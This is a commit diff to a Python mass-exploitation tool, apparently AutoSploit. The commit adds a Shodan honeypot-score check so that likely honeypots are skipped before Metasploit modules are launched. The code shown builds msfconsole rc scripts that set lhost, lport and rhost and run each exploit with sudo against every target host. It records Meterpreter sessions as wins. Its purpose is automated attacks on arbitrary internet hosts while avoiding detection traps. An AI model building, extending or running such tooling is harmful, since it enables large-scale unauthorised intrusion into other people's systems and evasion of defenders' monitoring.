|
10 | 10 |
|
11 | 11 | import lib.settings |
12 | 12 | import lib.output |
| 13 | +import api_calls.honeyscore_hook |
13 | 14 |
|
14 | 15 |
|
15 | 16 | def whitelist_wash(hosts, whitelist_file): |
@@ -48,6 +49,9 @@ def __init__(self, configuration, all_modules, hosts=None, **kwargs): |
48 | 49 | self.ruby_exec = kwargs.get("ruby_exec", False) |
49 | 50 | self.msf_path = kwargs.get("msf_path", None) |
50 | 51 | self.dry_run = kwargs.get("dryRun", False) |
| 52 | + self.check_honey = kwargs.get("check_honey", False) |
| 53 | + self.shodan_token = kwargs.get("shodan_token", None) |
| 54 | + self.compare_honey = kwargs.get("compare_honey", 0.0) |
51 | 55 |
|
52 | 56 | def view_sorted(self): |
53 | 57 | """ |
@@ -100,103 +104,120 @@ def start_exploit(self, sep="*" * 10): |
100 | 104 |
|
101 | 105 | win_total = 0 |
102 | 106 | fail_total = 0 |
| 107 | + skip_amount = 0 |
103 | 108 |
|
104 | 109 | for host in self.hosts: |
105 | | - current_host_path = path.join(current_run_path, host.strip()) |
106 | | - makedirs(current_host_path) |
107 | | - |
108 | | - for mod in self.mods: |
109 | | - if not self.dry_run: |
110 | | - lib.output.info( |
111 | | - "launching exploit '{}' against host '{}'".format( |
112 | | - mod.strip(), host.strip() |
| 110 | + host = host.strip() |
| 111 | + if self.check_honey: |
| 112 | + lib.output.misc_info("checking if {} is a honeypot".format(host)) |
| 113 | + honey_score = api_calls.honeyscore_hook.HoneyHook(host, self.shodan_token).make_request() |
| 114 | + if honey_score >= self.compare_honey: |
| 115 | + lib.output.warning( |
| 116 | + "awh shit, this returned a honeypot score of {}, lets not and say we did".format(honey_score) |
| 117 | + ) |
| 118 | + skip = True |
| 119 | + skip_amount += 1 |
| 120 | + else: |
| 121 | + skip = False |
| 122 | + else: |
| 123 | + skip = False |
| 124 | + |
| 125 | + if not skip: |
| 126 | + current_host_path = path.join(current_run_path, host.strip()) |
| 127 | + makedirs(current_host_path) |
| 128 | + |
| 129 | + for mod in self.mods: |
| 130 | + if not self.dry_run: |
| 131 | + lib.output.info( |
| 132 | + "launching exploit '{}' against host '{}'".format( |
| 133 | + mod.strip(), host.strip() |
| 134 | + ) |
113 | 135 | ) |
| 136 | + |
| 137 | + cmd_template = ( |
| 138 | + "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" |
114 | 139 | ) |
115 | 140 |
|
116 | | - cmd_template = ( |
117 | | - "sudo {use_ruby} {msf_path} -r {rc_script_path} -q" |
118 | | - ) |
119 | | - |
120 | | - use_ruby = "ruby" if self.ruby_exec else "" |
121 | | - msf_path = self.msf_path if self.msf_path is not None else "msfconsole" |
122 | | - |
123 | | - # What's the point of having a workspace if you overwrite it every fucking time.. |
124 | | - rc_script_template = ( |
125 | | - "workspace -a {workspace}\n" |
126 | | - "use {module_name}\n" |
127 | | - "setg lhost {lhost}\n" |
128 | | - "setg lport {lport}\n" |
129 | | - "setg verbose true\n" |
130 | | - "setg threads 20\n" |
131 | | - "set rhost {rhost}\n" |
132 | | - "set rhosts {rhosts}\n" |
133 | | - "run -z\n" |
134 | | - "exit -y\n" |
135 | | - ) |
136 | | - |
137 | | - module_name = mod.strip() |
138 | | - workspace = self.configuration[0] |
139 | | - lhost = self.configuration[1] |
140 | | - lport = self.configuration[2] |
141 | | - rhost = host.strip() |
142 | | - |
143 | | - current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) |
144 | | - with open(current_rc_script_path, 'w') as f: |
145 | | - |
146 | | - f.writelines(rc_script_template.format( |
147 | | - module_name=module_name, |
148 | | - workspace=workspace, |
149 | | - lhost=lhost, |
150 | | - lport=lport, |
151 | | - rhost=rhost, |
152 | | - rhosts=rhost |
153 | | - )) |
154 | | - |
155 | | - with open(report_path, 'a') as f: |
156 | | - |
157 | | - cmd = cmd_template.format( |
158 | | - use_ruby=use_ruby, |
159 | | - msf_path=msf_path, |
160 | | - rc_script_path=current_rc_script_path |
| 141 | + use_ruby = "ruby" if self.ruby_exec else "" |
| 142 | + msf_path = self.msf_path if self.msf_path is not None else "msfconsole" |
| 143 | + |
| 144 | + # What's the point of having a workspace if you overwrite it every fucking time.. |
| 145 | + rc_script_template = ( |
| 146 | + "workspace -a {workspace}\n" |
| 147 | + "use {module_name}\n" |
| 148 | + "setg lhost {lhost}\n" |
| 149 | + "setg lport {lport}\n" |
| 150 | + "setg verbose true\n" |
| 151 | + "setg threads 20\n" |
| 152 | + "set rhost {rhost}\n" |
| 153 | + "set rhosts {rhosts}\n" |
| 154 | + "run -z\n" |
| 155 | + "exit -y\n" |
161 | 156 | ) |
162 | 157 |
|
163 | | - output = [""] |
164 | | - if not self.dry_run: |
165 | | - output = lib.settings.cmdline(cmd) |
166 | | - |
167 | | - ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') |
168 | | - msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] |
169 | | - |
170 | | - msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or |
171 | | - 'Meterpreter' in x or |
172 | | - 'Session' in x or |
173 | | - 'Sending stage' in x] |
174 | | - |
175 | | - msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] |
176 | | - |
177 | | - if len(msf_wins): |
178 | | - win_total += 1 |
179 | | - if len(msf_fails): |
180 | | - fail_total += 1 |
181 | | - |
182 | | - csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) |
183 | | - csv_file.writerow([rhost, |
184 | | - today_printable, |
185 | | - module_name, |
186 | | - lhost, |
187 | | - lport, |
188 | | - linesep.join(msf_wins), |
189 | | - linesep.join(msf_fails), |
190 | | - linesep.join(msf_output_lines)]) |
191 | | - |
192 | | - print() |
| 158 | + module_name = mod.strip() |
| 159 | + workspace = self.configuration[0] |
| 160 | + lhost = self.configuration[1] |
| 161 | + lport = self.configuration[2] |
| 162 | + rhost = host.strip() |
| 163 | + |
| 164 | + current_rc_script_path = path.join(current_host_path, mod.replace("/", '-').strip()) |
| 165 | + with open(current_rc_script_path, 'w') as f: |
| 166 | + |
| 167 | + f.writelines(rc_script_template.format( |
| 168 | + module_name=module_name, |
| 169 | + workspace=workspace, |
| 170 | + lhost=lhost, |
| 171 | + lport=lport, |
| 172 | + rhost=rhost, |
| 173 | + rhosts=rhost |
| 174 | + )) |
| 175 | + |
| 176 | + with open(report_path, 'a') as f: |
| 177 | + |
| 178 | + cmd = cmd_template.format( |
| 179 | + use_ruby=use_ruby, |
| 180 | + msf_path=msf_path, |
| 181 | + rc_script_path=current_rc_script_path |
| 182 | + ) |
| 183 | + |
| 184 | + output = [""] |
| 185 | + if not self.dry_run: |
| 186 | + output = lib.settings.cmdline(cmd) |
| 187 | + |
| 188 | + ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]') |
| 189 | + msf_output_lines = [ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)] |
| 190 | + |
| 191 | + msf_wins = [x for x in msf_output_lines if re.search('\[\+\]', x) or |
| 192 | + 'Meterpreter' in x or |
| 193 | + 'Session' in x or |
| 194 | + 'Sending stage' in x] |
| 195 | + |
| 196 | + msf_fails = [x for x in msf_output_lines if re.search('\[-\]', x)] |
| 197 | + |
| 198 | + if len(msf_wins): |
| 199 | + win_total += 1 |
| 200 | + if len(msf_fails): |
| 201 | + fail_total += 1 |
| 202 | + |
| 203 | + csv_file = csv.writer(f, quoting=csv.QUOTE_ALL) |
| 204 | + csv_file.writerow([rhost, |
| 205 | + today_printable, |
| 206 | + module_name, |
| 207 | + lhost, |
| 208 | + lport, |
| 209 | + linesep.join(msf_wins), |
| 210 | + linesep.join(msf_fails), |
| 211 | + linesep.join(msf_output_lines)]) |
| 212 | + |
| 213 | + print("") |
193 | 214 | lib.output.info("{}RESULTS{}".format(sep, sep)) |
194 | 215 |
|
195 | 216 | if self.dry_run: |
196 | 217 | lib.output.info("\tDRY RUN!") |
197 | 218 | lib.output.info("\t0 exploits run against {} hosts.".format(len(self.hosts))) |
198 | 219 | else: |
199 | | - lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts))) |
| 220 | + lib.output.info("\t{} exploits run against {} hosts.".format(len(self.mods), len(self.hosts) - skip_amount)) |
200 | 221 | lib.output.info("\t{} exploit successful (Check report.csv to validate!).".format(win_total)) |
201 | 222 | lib.output.info("\t{} exploit failed.".format(fail_total)) |
202 | 223 |
|
|
0 commit comments